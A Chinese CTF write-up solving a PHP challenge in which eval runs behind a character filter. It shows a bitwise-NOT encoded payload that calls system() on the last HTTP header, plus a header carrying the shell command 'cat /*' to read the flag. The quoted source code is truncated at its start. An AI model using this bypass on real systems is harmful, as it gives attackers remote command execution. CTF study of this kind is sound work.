第一周2

[鹏城杯 2022]简单的php

  1. 打开环境 发现php代码 如下: 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){ die(' Hello'); }else if(';' ===preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ @eval($code); }

?>

  1. 代码审计 对于 “if(strlen($code) > 80 or preg_match(‘/[A-Za-z0-9]|'|”|`|\ |,|.|-|+|=|/|\|<|>|$|?|^|&||/is’,$code))”
    就是用get方式提交的code参数 字符串长度大于80 或者 code参数不能有任何字母和数字 还有” ‘等一些符号
    这时我们发现 没有过滤 ~ 这个符号
    这个时候就想到了取反

  2. 对于”(‘;’ ===preg_replace(‘/[^\s()]+?((?R)?)/‘, ‘’, $code))”
    ‘;’ === preg_replace(‘/[^\s()]+?((?R)?)/‘, ‘’, $code)
    [^\s()]+? 表示不匹配所有空白符和() 一次或多次
    ((?R)?) 表示循环匹配() 一次或0次
    那么这题的解法就属于无参数的取反RCE,并且需要二维数组绕过
    payload:system(end(getallheaders()));
    构造取反二维数组拼接 [system]0

  3. 用上我们的取反代码 如下:

    最终payload:
    [%8C%86%8C%8B%9A%92][!%FF]([%9A%91%9B]!%FF);

  4. 最后在burp抓包的get方式提交 code=[%8C%86%8C%8B%9A%92][!%FF]([%9A%91%9B]!%FF);
    在请求头中 随便加一个 eg:x:cat /*
    发现flag

  5. 总结:
    这题就是无回显rce 无字母
    可以用取反 异或等方式去写
    用取反的时候 如果 ~ 没有被过滤的前提下